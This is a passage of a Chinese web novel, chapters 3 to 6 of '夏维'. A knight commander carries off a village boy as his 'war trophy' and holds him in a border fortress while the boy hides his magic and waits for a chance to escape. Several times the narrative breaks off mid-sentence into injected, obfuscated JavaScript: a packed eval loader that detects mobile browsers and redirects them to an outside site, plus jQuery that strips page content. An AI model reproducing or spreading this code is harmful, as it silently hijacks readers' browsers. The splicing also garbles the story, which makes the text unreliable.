《夏维》 3. 第三章 骑士们绝尘而去，村民们满心焦灼却无计可施。 “怎么办？” “他们是边境骑士，那个队长是贵族，我们根本拦不住！” “他们还是孩子！” “该死的……” 众人你一言我一语，追溯以往，推及贵族们的作风，脸色都很难看。 “冷静下来。”一名高个子女人开口。她走到人群中间，半张脸和前胸满是血痕，主要来自雇佣兵。 一个恶徒杀死她的丈夫，妄图欺辱她和她的孩子。她咬碎那人的喉咙，用手指挖出了他的眼球。 “贵族老爷的兴趣和仁慈一样短暂。”女人反手用力擦过脸颊，另一条胳膊抱紧自己的孩子，“那些骑士，无论他们打算做什么，只要安娜和夏维活下来，别的都不重要。” “朵拉……” “别摆出这副模样，鲁多，我们活下来，那些恶棍死了，这就是最好的结果。还有，两个孩子只是被带走，我们可以去镇子里打探消息，那些靠近要塞的镇子和马场都是情报来源。”朵拉一边说，一边扫视众人，“不管孩子们遇到什么，只要他们能活着，有朝一日回到村庄，我们就能敞开双臂拥抱他们。懂我的意思吗？” 几人看着朵拉，没有说话，只是用力点着头。 “安娜，夏维，他们都是我们的孩子。” “现在，我们该收敛这些尸骨，重建村庄。”名为鲁多的村民开口，他走到朵拉面前，蒲扇般的大手张开，覆在朵拉孩子的头顶，“马上就能收割大麦，今年一定会丰产。我们可以留出一部分送去边境要塞。也许，我是说也许，能见到那两个孩子。” “你说得对！” 朵拉和鲁多的发言给了众人希望。 无论如何，只要活下去，或许事情就有转机。 活下来的村民不足十人，每人都需要负担大量工作。他们没有抱怨，简单处理过身上的伤口，就抓紧清理村落，安葬村民的尸体。 多数房屋遭到焚烧，暂时没能力重建。 他们选择还算完好的几栋，简单清扫之后就住了进去。 死去的人太多，活下来的太少。 秋收需要大量人手，他们每个人都必须承担数倍的劳动。 “秋收之后，或许会有转机。” 村民们聚集在坟墓前，将简单雕刻的墓碑插入土中。 他们怀念死者，为活着的人祈祷。 希望夏维和安娜能平安无事，某一天出现在村子里，笑着和所有人招手。 哪怕希望渺茫。 翡翠峡谷外，骑士们一路疾驰，奔赴石崖领边境要塞。 数百年来，帕托拉平原烽火四起。 信仰的碰撞，利益的争夺，积攒的仇恨驱使王国陷入战火，争斗永无休止。 石崖领地处要冲，多次遭受外敌入侵。仰赖历代领主的积累，打造出一支强悍的骑兵团，才得以维持边境安稳，避免土地遭受蚕食。 战火持续蔓延，周边局势急剧恶化，主城内的领主和贵族都清楚知道，总有一天，脆弱的平衡会被打破。 或胜，或败。 或生存，或死亡。 除了拿起武器，他们别无选择。 驻守领地边境的骑兵将是战争的关键，他们是最锋利的矛，最坚硬的盾。 “血色染红大地，渡鸦盘旋在天空，神明不会降下慈悲，烈火注定燃尽所有。” 这是占星师的预言。 随风传遍平原，送至所有人耳中。 银甲骑兵飞驰过大片平原，于傍晚时分抵达座落在领地北部边境的黑色要塞。 要塞由一座石砌城堡及众多防御工事构成。 黑石城堡历史悠久，自领地初建即已存在。黑色的石砖环形堆砌，搭建起塔楼形的建筑。基堡暗藏通行的甬道，屋顶似锋利的尖刀，笔直插向天际。 城堡外墙开有射击孔，并有台阶盘旋向下，像缠绕的巨蟒。 城堡外围夯造土墙，墙头嵌入石块。石块形状不一，棱角锋利，能轻易划破皮革，不亚于士兵手中的武器。 墙内划分出不同区域，马厩、铁匠炉、粮仓、水井等一应俱全。 城堡最高处悬挂铜钟，每逢日出日落，皆有金光闪烁，辐射整座要塞。 银色的队伍踏着夕阳归来，要塞内传出钟声，并有号角吹响。 留守人员快步穿过广场，合力推开木门，分开站到围墙两侧，迎接骑兵队伍归来。 马蹄声堪比闷雷，马上的骑士放平武器，穿过要塞大门后减速，一个接一个拉住缰绳。 门后有大片广场，十几个马僮在一旁等候。 他们穿着粗布上衣，每人都打着绑腿。身材高大挺拔，面部轮廓刚毅，鼻梁高挺，眼窝很深，典型的帕托拉平原种族。 骑士们接连下马，马僮们熟练地接过缰绳，牵引战马前去马厩。 卡萨拉的战马前，一个马僮抓着缰绳，看着卡萨拉利落地翻身下马，怀中抱着一个黑发少年，下意识揉了揉眼睛。 那是谁？ 为何会被阁下带回来？ 竟然还抱在怀里！ 无独有偶，目睹卡萨拉抱着夏维下马，落地后仍不松手，在场众人都倍感诧异。 伊戈·卡萨拉，最铁血无情的要塞长官。 出身大贵族，祖父和父亲深得领主信任，在石崖城身居要职，还是领主的智囊。他本人剑术超绝，不到三十岁就屡立战功，带领骑士团驻守要塞，权势非同小可。 家世显赫，能力拔群，英俊非凡，他是众多贵族心目中绝佳的联姻人选。 奇怪的是，迄今为止，他从未有过任何绯闻。 男人，女人，本族，外族，他貌似对一切都不感兴趣。 唯一能得到他眼神的就是武器。 石心卡萨拉，情感绝缘体，竟然带回一个少年？ 他们的长官大人抱着少年下马，强势到不肯放手，看着怀中人的眼神绝不清白！ 终于，石心出现裂痕了吗？ 无视众人揣测的目光，卡萨拉横抱起夏维，大步穿过广场，走向矗立在要塞中心的城堡。 骑士们没有停留多久，很快各自散去。完成巡逻任务，解决掉入侵的雇佣兵，他们急需要饱餐一顿，有酒自然更好。 副队长跟上卡萨拉，手中拖着一同被带回的安娜。 伤药效果绝佳，安娜的伤势快速好转，断裂的骨头仍隐隐作痛，伤口却不再流血，也不再妨碍她的行动。 “蕾拉！”卡萨拉登上台阶，走进敞开的城堡大门。 城堡内部同以砖石打造，地面、墙壁和屋顶呈现浓重的黑色。窄窗开得极高，阳光落入大厅，却无法带来更多光亮。 大厅内依靠火把和蜡烛照明。 黑色石柱并排矗立，燃烧的火把环绕其上。火把后镶嵌镜子，别出心裁，能将火光放大数倍。 屋顶垂下成排蜡烛，数量多达百余根。没有支架，全部由锁链悬挂，在半空中安静燃烧。 穹顶正中雕刻一枚巨大的三角，图案正中是睁开的血眼，与出现在村庄中的一般无二。 两排高背椅排列在大厅，中间拱卫一张长桌。桌面摆放多盏金色烛台，沿直线对齐，乍一看仿若一体。 卡萨拉一路穿过大厅，召唤忠心的女仆长。 不多时，一个高挑的身影出现在大厅尽头，身穿暗色长裙，长发一丝不苟地梳在脑后，面容严肃，身上没有多余的饰品，只在胸前佩戴一枚胸针，象征她服务于卡萨拉家族。 “少爷。”女仆长恭敬行礼，看到卡萨拉怀中的少年，短暂挑了下眉，表情迅速恢复平静，“他是谁？” “我的战利品。”卡萨拉将夏维丢到地上，随手取下头盔，手指抓过汗湿的长发，“带他去清洗，然后送进我的卧室。” 一口气说完，卡萨拉单手拎着头盔，迈步走向二楼。 女仆长双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她们低着头，头发用布巾包裹，现出修长的脖颈。身上的裙子只及脚踝，露出一双木鞋，方便干活和走动。 门后冒出水汽，几个侍从提起木桶，鱼贯将热水倒入浴桶。 女仆长侧过头，朝一名女仆吩咐几句，后者立即转身离开，归来时，手中捧着干净的毛巾，带着香味的肥皂、脂膏和衣物。 “现在，脱掉你身上的衣服，走进去。”女仆长抬起下巴，朝着夏维示意。 不等女仆们动手，安娜先一步抓紧他的胳膊，感知到手下冰冷的温度，凑到夏维耳边：“夏维，别反抗，先照她说的做。” 夏维沉默地站直身体，忽略在场的女仆，修长的手指覆上衣领，一颗接着一颗，解开衬衫的钮扣。 衬衫落地，立刻被女仆收走。 随即是腰带，染满泥土的靴子，以及凝固血痕的长裤。 侍从们已经退出房间，白色的水汽冒出浴桶，晶莹的水珠挂上墙壁。夏维尽量忽略女仆长的目光，保留最后的布料，走进热水之中。 女仆长没有出声。 房间内的女仆也是缄默不语。 “我给你洗头。”安娜说道。 她走到夏维身后，却被另一名女仆推开：“你也需要清洗，在那边。” 顺着女仆手指的方向，安娜看到一个小门，这扇门极矮，需要弯腰才能通过。 安娜又看一眼夏维，在对方点头之后，顺从地走了过去。 待到她的背影消失，夏维垂下眼帘，没有任何反抗，任由陌生的手指在发间穿梭，看着热水淋在身上。 他抬起手臂搭上木桶边缘，身体向后靠，缓慢闭上双眼。 强忍住刺痛，他暗中聚集灵力，至少要凝出一件武器，自保，也为保护一同被抓的少女。 4. 第四章 隔间专为仆人准备，空间狭窄，光线幽暗。 房间内没有窗户，环境格外潮湿。 墙角覆盖青苔，地面摆放木盆和几只简陋木架。架子是木料打造，表面攀爬裂痕，基座有可疑的斑驳，像是火烧的痕迹，也可能是别的什么。 安娜走进房间，回手关闭房门。 房门无法落锁，她毫不在意，利落地拆掉捆扎在身上的布条。解开上衣时，干涸的血黏住粗布，嵌入伤口。她用力向下撕扯，连带血痂一同扯掉，随即踩着布裙走向木盆。 “我需要快一些。” 安娜拿起水瓢，舀起凉水泼洒在身上。 水流滑过少女的脊背，冲走灰尘和血痕。水温太凉，安娜的嘴唇迅速苍白，肩胛骨起伏，始终没有停下动作。 “没有什么比活着更重要。” “我得快一些，他需要我。” “那些该被诅咒的家伙，全都该死……” 她自言自语，一遍又一遍朝身上泼水。 长发全部浸湿，被水染成暗色。发丝紧贴着头皮，覆盖额头和脸颊。身体冷得打颤，眼中却燃起火焰。 恐惧，担忧，对现实的无能为力。 仇恨和不甘涌上心头，曾经明媚的少女，这一刻被黑暗包裹，半只脚已踏入地狱的门槛。 吱嘎。 房门突然被推开，一名女仆走入室内，给安娜带来一条干净的长裙，还有鞋子和帽子。 “擦干净自己，换上它们。”女仆说道。 她身材高挑，声音平板，像是在刻意模仿女仆长。 安娜放下水瓢，利落地站起身。少女身材窈窕，身前却遍布恐怖的伤疤，手臂、腰间和小腿都有大片青紫，看上去异常骇人。 女仆却面不改色。 她只是随意扫过一眼，从裙子的口袋里掏出药瓶，压在干净的衣物上面。 “喝掉它，你会好得更快些。”不需要安娜回应，她就要转身离开。 “等等。”安娜追上前两步，抓起擦拭头发的布巾，快速说道，“我的主人身体很弱，他需要食物。” 女仆脚步微顿，回头看她一眼，点点头，紧绷的嘴角微松：“我知道了，你可以叫我尼可。” “好的，尼可。”安娜放下布巾，潮湿的发披在肩上，绽放出善意的笑容。 尼可没有久留，推门离开隔间。 安娜收起笑容，弯腰拎起地上的裙子，利落地套在身上。她赤脚踩入鞋子，用嘴叼住发绳，利落将长发绑在一起。 活着才有希望。 这是夏维告诉她的。 在村庄中，夏维保护了她。现如今，换她来支撑夏维。 那些自大的贵族，傲慢的骑兵，肮脏的行径不会污染她的少年。她必然保护他，用自己的一切。 沙金色的长发编成长辫，在脑后缠绕成发髻，被布帽牢牢固定。 房间内没有镜子，安娜走到水盆边，看着里面的倒影，忽然抬起手，面无表情地搅乱水面。 她不发一言，转身走向房门。 手指落在门板上，少女深吸一口气，用力将门拉开。 隔间外，热气尚未散去，朦胧了房间中的人影。 夏维穿着一件亚麻布衬衫，搭配修身的长裤和黑色鞋子，站在距离房门三步远的地方。 洗去尘土和血污，他的气质愈显清冷。 黑发垂落在耳畔，发丝覆盖前额。漆黑的眼睛像是夜空，幽暗深邃，和帕托拉的种族截然不同。 女仆长依旧面无表情。 她的脊背始终挺直，双手交叠在身前，目光审视夏维，没有一丝一毫的感情，仿佛看的不是一个活着的人，而是一件器物，一件饰品。 “很好。” 终于，她点点头，貌似满意了。 尼可走到她身边，低声说了两句。女仆长看向不远处的安娜，朝她抬了抬下巴：“忠诚的仆人值得夸奖。” 过程中，夏维始终不言不语。 长袖遮挡下，手腕上短暂浮现红痕，很快又隐去，变得了无痕迹。 他反手合拢五指，一把小巧的匕首滑入掌心，悄无声息，被他牢牢握紧，没有任何人发现。 安娜快步走上前，无视周围女仆的目光，就要伸手搀扶夏维。 女仆长挡住了她。 “走进这座城堡，他就是卡萨拉大人的东西。未经允许，没有人能触碰他，包括你在内，明白吗？” 安娜张张嘴，被夏维目光示意，立刻冷静下来：“我会注意的。” “很好。”女仆长点点头，率先走出浴室。 房间外，大厅的一角，几名侍从捧来面包、熏肉和熏鱼，摆放在长桌尽头，这是为夏维准备的。 “吃掉它们，然后去见卡萨拉大人。”女仆长对夏维说道。其后指了指安娜，吩咐侍从，“给她一块面包。” 侍从没有出声，仅是弯下腰。 他们迅速摆好食物，将一块面包递给安娜。黑面包入手极有分量，粗糙到划嗓子，但能填饱肚子。 安娜没有远离夏维，直接坐在他的腿边，一口接一口撕咬面包。 夏维不会拒绝食物。 他坐在高背椅上，用手撕开面包和熏鱼，认真地送入口中。 中途，他将一块熏肉递给安娜。 女仆长没有阻止。 两人都没有出声，也未再有任何动作，他们沉默地进食，近在咫尺，没有彼此触碰，却互相支撑，互为依靠。 城堡二楼，要塞长官的房间内，此刻灯火通明。 房间奢华无比，昂贵的地毯铺满地板，墙头垂下挂毯，鲜艳的色彩象征惊人的价格，契合房间主人的身份，却与沉闷的建筑格格不入。 房间内摆放一张四柱大床，床幔掀起，床头仍被阴影遮挡。 房间一侧，办公桌靠墙摆放，桌上堆满文件。 要塞的主宰，伊戈·卡萨拉坐在桌后，手执一把小刀，划开蜡封的羊皮卷。 在他身侧立着一只鸟架，架上栖息一只苍鹰。经历一场长途飞行，苍鹰补充过食水，正在精心梳理羽毛。 卡萨拉转动着拆信刀，将蜡签丢进盒子里。展开信件之前，已经猜到里面会写些什么。 无非是些陈词滥调。 信件来自他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他没有直视卡萨拉，仍能清晰掌握对方的一举一动。 卡萨拉推开椅子，走向四柱床。他随手脱掉外套，解开领口，掀起床上的毯子，直接丢在了床脚。 “过来。”他对夏维说道，手指着地上的毯子，“你睡在那里，夜里最好安静一些。” 夏维终于抬起头，表情中闪过一抹惊讶。 “我会给你食物，让你穿着丝绸，佩戴珠宝，还会给你让人羡慕的地位。”卡萨拉踩着毯子走向夏维，后者意外发现他没有穿鞋，赤着脚。 说话间，卡萨拉站到夏维近前，手臂横过夏维的肩膀，掌心压住房门，另一手扣住夏维的脸颊，粗糙的指腹擦过夏维的嘴角。 “作为回报，你要闭紧嘴巴，严守这个房间中的一切，明白吗？” 夏维抬头看向他，手指轻动，掌中的匕首化作灵力消散。 所有情绪隐入眼底，他如对方所愿，顺从地点点头，声音很轻：“我会记住的，大人。” 5.第五章 陌生的环境，充满压迫感的房间，劫掠他的骑士。 夏维以为自己会彻夜难眠。 现实却恰恰相反，他踢掉鞋子席地而坐，背部靠向床柱，掀起毯子裹在身上，望着跳跃的烛火，身上的痛楚缓慢减轻，困意逐渐上涌。 不多时，夏维已经闭上双眼，环抱双膝睡了过去。 小巧的下巴搭在膝盖上，柔软的额发垂落，遮挡一双俏丽的眉眼。睫毛在眼下遗留暗影，肤色是迥异于帕托拉种族的莹白。看上去不太健康，却十足诱人，像是最细腻的珍珠，诱使人移不开目光，很想亲手触碰，验证触感是否如设想中一般。 卡萨拉坐在高背椅上，手握羽毛笔，却无心再处理文件。 他总是走神，视线不自觉移向床脚。 他索性丢开卷轴，双手交握撑起下巴，隔空眺望熟睡的少年。 老卡萨拉的信被压在手肘下，昂贵的信纸爬上褶皱，一同扭曲的还有羽毛笔留下的字眼。 “容貌，来历，知识。” 卡萨拉垂下眸光，短暂思索之后，他起身绕过长桌，无声走到夏维对面，缓慢蹲下-身。 宽阔的肩膀遮挡住灯光，暗影笼罩地上的少年。 卡萨拉支起一条长腿，左臂搭在膝盖上，右手前伸，修长的手指抵近夏维，指关节触碰到温热的气息，只差寸许就能覆上他的脸颊。 最后一刻，手指猛然收紧。 卡萨拉凝视夏维，眸光晦暗，半面映入光亮，半面隐于黑暗。 他收回手，感知到加速的心跳，意识到情况不对。 卡萨拉家族有巨龙血脉，纵然十分稀薄，他们仍引以为傲。伊戈·卡萨拉年少时，无数次听过关于巨龙的传说。 “错觉吗？” 卡萨拉单手覆上心口，心跳逐渐平稳，瞳孔的颜色却越来越深。 巨龙强大，暴力，偏执。 一旦受到吸引，将会变得不顾一切，追逐、掠夺、为之疯狂。 血脉越是纯粹，偏执和疯狂越是深入骨髓。 卡萨拉不相信这种存在，而今，年少时的记忆涌上脑海，他开始心生怀疑。 会是血脉的反馈？ 他不确定。 唯一能确定的是，初见这个黑发少年，他的行动就开始失控。 固然有父亲来信的因素，但是，换成别的对象，他确信不会有鲁莽举动。 他会斟酌，会审视，会考量，而非在冲动驱使下做出野蛮行径，直接将人掠回城堡。 像争夺宝石的龙。 卡萨拉垂下眼帘，稀薄的血脉在体内沸腾。 他也许该相信传说。 短暂的纠结之后，强大的意志力发挥作用，卡萨拉没有再靠近夏维，他从地上站起身，仰面倒在床上，随手拽下床幔。 或许今夜只是意外。 他需要休息。 等到明天苏醒，一切又会恢复正常。 他依旧能够控制自己的行为，以冷静的态度面对一切。 很快，房间内陷入寂静。 卡萨拉在困扰中陷入睡眠，夏维却在这一刻睁开双眼。 他没有任何动作，既没有站起身，也没有转过头，他维持同一个姿势，凝视即将燃尽的蜡烛，手指在毛毯下交握，尝试温暖冰冷的指尖，可惜不太成功。 困境。 因虚弱受制于人，陷入一座牢笼。 他应该如何脱身？ 夏维缓慢扣紧手指，缠绕手腕的血网短暂出现，又迅速隐匿。 伪装妥协，小心隐藏，伺机而动。 无法做到一击毙命，不能杀死要塞中所有人，他必须表现得无害，伪装好自己，直至时机来临，带着安娜一同脱身。 烛光摇曳，在墙面遗留扭曲的暗影。 伴随着一声轻响，最后一缕光泯灭，室内陷入黑暗。 夏维闭上双眼，这一次，他终于真正睡去，陷入黑甜的梦乡。 房门外，安娜和女仆尼克靠墙站立，随时听候吩咐。 一日遭逢剧变，金发少女身心俱疲，仍强撑起精神，时刻关注门内的动静，直至确认夏维平安无事，紧绷的心才缓慢放松。 女仆尼可侧头看向她，嘴唇动了动，最终什么也没说。移动视线看向走廊另一侧，黑暗中，几个矮小的影子若隐若现。 “那是什么？”安娜立刻变得警惕。 “侏儒。”尼可转头看向她，没有任何嘲笑，反而赞赏安娜的警觉，“他们是要塞的守夜人，白天很少出现，夜里才能看到他们。” “侏儒？” “是的。”尼可的视线扫过又一次出现的身影，他们的影子在墙壁上拉长，扭曲而高大，与现实截然相反，“他们在战争中落败，与王国签订契约，世代守护帕托拉边境要塞。如今贵族们都在打仗，他们各为其主，也在互相厮杀。不必在意他们，一群奴隶罢了。” 在这座要塞之中，侏儒的地位极其低下，最低等的马仆都能使唤他们。 尼可语气轻蔑，表情不屑一顾。 安娜没有附和她的话，也没有对侏儒表现出怜悯。她聪明地保持沉默，真实情绪隐藏在黑暗中，使人看不分明。 夜色漫长，却也十分短暂。 夏维苏醒时，阳光穿过半开的窗户射入室内，恰好落在他的脸上。 晨风吹起窗帘，卷动桌上的羊皮卷，沙沙作响。 燃尽的蜡烛被移走，房间中替换新的烛台。 室内飘散一股清新的味道，类似水汽和花香的混合，令人精神一振。 夏维转过头，床上的人不见踪影。 不确定对方何时离开，他不由得皱眉，奇怪自己会睡得这样沉，几乎失去了警戒性。 联系身体的状况，夏维的心陡然下沉。 这绝非好现象。 脚步声在门外响起，距离越来越近。不是女仆的木鞋，而是贵族的长靴。 声音停在房门前，下一刻，雕刻花纹的木门被推开，高挑的身影出现在门外，如同一抹炽烈的阳光，悍然闯入夏维视野。 卡萨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16066168|179159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉穿着一件暗红色外套，衣领和袖口刺绣银色花纹，钮扣和胸针华丽精致。微卷的长发束在脑后，用一条宝石发带缠绕，与他昨日的装束迥然不同。 他带来一张托盘，盘子里堆着面包和水果。 进入房间后，他随手合拢房门，将托盘放到办公桌上。 金属盘一角压住羊皮卷，上面有某位贵族的印章。卡萨拉对此视若无睹。他转过身，背靠着桌边，朝夏维勾勾手指：“过来，吃早餐。” 夏维沉默地掀开毯子，衬衫和长裤睡出褶皱，头发也有些乱。他故意不去整理，卡萨拉也不在意，好整以暇的环抱双臂，一双长腿交叠，依靠在办公桌前，像是伺机而动的猛兽，等待猎物自投罗网。 夏维别无选择。 他走向长桌，探手抓向面包，抛开礼仪，以一种略显狂放的姿态送进嘴里。 卡萨拉仍未出声，他像是在观察某种新奇的东西，冰蓝色的眼睛锁定夏维，直至他吃完所有面包和水果，才慢悠悠开口：“你认识字吗？” 夏维摇摇头，诚实回答：“不会读，也不会写。” 王国内的平民大多不识字，传递消息全靠口述，或者依赖特殊符号。读写是贵族的特权，然而，贵族的识字率也不是很高。 夏维能和村民学习语言，却无从掌握这个世界的文字。 村民们不知道，他自然无处学习。 听到夏维的回答，卡萨拉点点头，貌似早有预料，对这个答案并不意外。 他站直身体，绕过办公桌，拉开椅子坐下。唤来侍从取走托盘，随手拉开抽屉，取出一叠空白的羊皮卷和羽毛笔。 “大麦丰产的办法，把你知道的说出来。”他提笔蘸了蘸墨水，笔尖点在纸上，冰蓝色的眼睛看向夏维，“你所在的村子，今年的麦田生长得格外好，我需要你的知识。” 一滴墨水落在羊皮卷上，卡萨拉的神色变得认真：“证明你的能力，我会给予你更多。” 夏维垂下目光，平静道：“询问村民也能知道。” “当然，我会派人去问。”卡萨拉不讳言自己的决断，他笑了笑，和昨天的霸道完全不同，更像是一个深谙政治的精明贵族，“第一手资料永远是最优答案，但也需要核对细节。” 要塞长官暂时放下笔，十指交错，隔着一张办公桌凝视夏维。 他的笑容缓慢隐去，目光变得冰冷，浮现出真实的残忍。 “你是我的战利品，必须服从我，我的美人。”他看着夏维，以一种居高临下，近乎施恩的语气说道，“我给予你，方是你所得。我能看穿你的眼睛，这很有趣。但是，笼中鸟不该生出野心，明白吗？” 夏维没有被激怒。 他的表情波澜不兴，眼底看不出半分情绪，只是沉静地回应卡萨拉：“我知道了。” 知道，而非接受，更非臣服。 少年的手负在身后，衣袖遮挡下，血色纹路滋生交错。 意识海中，黑色的旗帜流淌血光，吸纳主人暴戾的情绪，迫切地想要大开杀戒。 6.第六章 夏维表现得很识趣。 遵从卡萨拉的吩咐，他口述丰产大麦的方法，从肥田、育种到除虫，内容和传授给村民的一般无二。 卡萨拉不假他人之手，亲自用笔记录下来。 过程中，他不忘誊抄核对，或是反复询问夏维相同的细节，确保一切无误。 完成记录耗费多日，卡萨拉不厌其烦，夏维也相当配合。 要塞长官得到他想要的，将写满字的羊皮卷捆扎起来，放入镌刻家徽的长条盒子，全部收入抽屉。 夏维借机认识不少文字，书写另论，阅读已经不算困难。事实上，以他的学习能力，再给他几天时间，掌握的文字能超过九成以上的贵族。 大概是见猎心喜，卡萨拉偶尔会亲自教导他。 阳光灿烂的午后，夏维被按坐在椅子上，卡萨拉侧坐在扶手上，指点他誊抄羊皮卷上的文字。 “伊戈·卡萨拉，我的名字。” 要塞长官站起身，单手按住桌面，另一只手圈过夏维的肩膀，手指沿着少年的手臂外侧下滑，端正他的姿势，最终覆上夏维的手背，牵引他正确书写自己的名字。 “这是主宰你的名字。” 墨迹流出笔尖，夏维缓慢垂下眼帘，遮去一闪而逝的暗色。 这位贵族老爷并不清楚，名字可以是荣耀，也可以是带来血光之灾的引子。 就在同一天，记录全部完成，卡萨拉心情大好。 他握住夏维的手腕，将他拉到身前，一下下捏着他的手指，温热的气息拂过夏维的指尖，始终没有真正落下。 “我会给你奖励。”他说道。 如他所言，女仆长敲门请示，禀报卡萨拉召见的商人已经进入城堡。 “珠宝商，还有香料和布料商。”卡萨拉握住夏维的手腕，迟迟不肯放开。拇指摩挲着手腕内侧，似着迷于细腻的触感，“挑些喜欢的，都是给你的奖赏。” 夏维克制抽回手的冲动，强压下心中的戾气，平静道：“感谢你的慷慨，大人。” “你应得的。”卡萨拉终于放开夏维的手，收敛笑容，表情变得冷漠，“现在，出去找蕾拉。” “是。” 夏维没有多说，很快转身离开房间。 他尽量不使脚步显得轻快，维持平日的速度，没有表现出任何异常。 房门开启又关闭，脚步声消失在走廊。 卡萨拉展开羊皮卷，却无论如何看不进去。他只能丢开笔，烦躁地抓了抓头发。 或许，他不该继续坚持。 他的战利品，他抢回来的宝石，理应为他所有。 为何要压抑自己？ 为虚无缥缈的传说，还是过剩的自尊心？ 冰蓝色的眼底翻涌暗潮，卡萨拉缓慢收紧手指，瞳孔微微变形。 突来的敲击声打断他的思绪。 送信的苍鹰在窗外盘旋，带来老卡萨拉的亲笔信。 和以往不同，这封信以隐秘的言辞书写，除了父子两人，无人能看出字里行间的暗号。 表面文字上，这封信是在确认卡萨拉的风流韵事，他之前的举动已经传遍石崖城，为贵族们津津乐道。 领主大人变得舒心，卡萨拉家族的压力骤然减轻。 主城内歌舞升平，日前的紧张消失无踪。领主大人又能信任卡萨拉家族，这是老卡萨拉乐见的结果。 事实上，信中暗喻卡萨拉之前送回的消息。 “送回的资料很有用，家族的领地必将富饶。” “我们将有充足的粮食，超过我们的敌人和盟友，甚至是领主，这都是你的功劳。” “我为你骄傲。” 大麦丰产能够提高领地税收。 更多的粮食意味着更多的金币，更强悍的贵族骑兵。 老卡萨拉的野心昭然若揭。 比起年轻的要塞长官，他才是更有反心的那一个。 认真读完信件，卡萨拉轻笑一声，笑容中充满讽刺。他没有保留这张羊皮纸，而是递到蜡烛上点燃。 信鹰落到架子上，撕扯盘子里的鲜肉。 一人一鹰，一同看着火焰蚕食书信，昂贵的羊皮纸湮灭在火中，沦为一小堆碳灰。 城堡一楼大厅，多名商人齐聚一堂。 他们相隔几步站立，互不理睬，却暗中彼此打量。他们带来的货物装在箱子里，部分箱盖已经敞开，部分仍挂着锁头。 脚步声传来，女仆的木鞋敲打地板，也在敲击着众人的神经。 商人们迅速弯腰，一个个不敢抬头，只是仍耐不住好奇，悄悄打量着和女仆长一同出现的身影。 高挑，黑发，瓷白的皮肤，迥异于帕托拉种族的长相。 一个罕见的美人。 难怪能撬动石心。 几人揣着双手，维持弯腰的姿势，小心地交换眼神：不会错，看样子传言属实，石心卡萨拉，要塞的长官果真有了一个情人。 女仆长率先迈下楼梯，夏维跟在她身后。安娜和另一名女仆错开一步，行走在夏维左右。 安娜有许多话想说，奈何现实情况不允许。 她只能小心窥一眼女仆，借袖子遮挡扯了扯夏维的衣角。 “你还好吗？”少女的眼中充满关切。 夏维轻轻颔首，嘴角短暂翘起，恰似浮光掠影，快得难以捕捉：“我很好，不必担心。” 两人困在要塞多日，见面的机会屈指可数。 夏维被卡萨拉关在卧室里，围绕他和卡萨拉的传闻甚嚣尘上。 许多贵族得知消息，都想一睹让卡萨拉动心的美人。 只是他们行动小心，不希望要塞长官察觉自己在城堡附近安插了探子。哪怕彼此心知肚明，这根本就是在掩耳盗铃。 比较之下，安娜的行动相对自由。 她暂时不被允许离开城堡，但在城堡内能自由活动。 为免引来怀疑，也不想给夏维惹麻烦，她时刻保持谨慎，拘束自己的行动。 她留心观察，不着痕迹同女仆结交，像是一只轻盈的蝴蝶，小心翼翼探出触角，获取必要的信息。 从二楼至一楼大厅，距离不算远。 迈下最后一级台阶，夏维和安娜停止交流。他们都很清楚，现在不是说话的时候。 女仆长侧头扫过夏维，很满意他的识趣。 “卡萨拉主人的命令，展示你们的货物。如果能让少爷的情人开心，你们会获取大量金币。” 女仆长话落，商人们立即笑逐颜开。 他们维持弯腰的姿势，一个个抬起头，满脸谄媚，让人怀疑角度再大一些，是否会折断自己的脖子。 “请看，这是从烈焰岛运来的宝石，它们来自龙族的矿山，蕴含神秘的能量，无论白天黑夜都很闪耀，在帕托拉难得一见！” 一名商人打开箱子，得意展示箱中的宝石。 宝石经过切割打磨，色彩绚丽，散发的光泽能晃花人眼，品质绝对上乘。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071583|179159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“请看这些丝绸，它们来自遥远的国度，由商队跋涉万里，穿过危险的森林，跨越高山和湍急的河流带来，每一匹都价值连城。” 另一名商人不甘示弱，上前两步挤开珠宝商，手臂搭起光亮的布料。为方便展示，更将布料一端绕过肩膀。 有两人带头，其余商人也纷纷出声。 他争先恐后打开箱子，向夏维展示自己的货物，珠宝、布匹、香料、精美的金银器皿、还有镶嵌翡翠珍珠的短剑，基本上装饰意义居多。 安娜和女仆们看得目不暇接，眼花缭乱，下意识屏住呼吸。 女仆长始终神情严肃，她挑剔的目光扫过敞开的箱子，其后看向夏维：“你可以从中挑选，全部买下也没关系。” 拿下所有货物，绝不是一个小数目，女仆长故意这样说，是想观察夏维的反应。 迄今为止，夏维是卡萨拉唯一的情人。 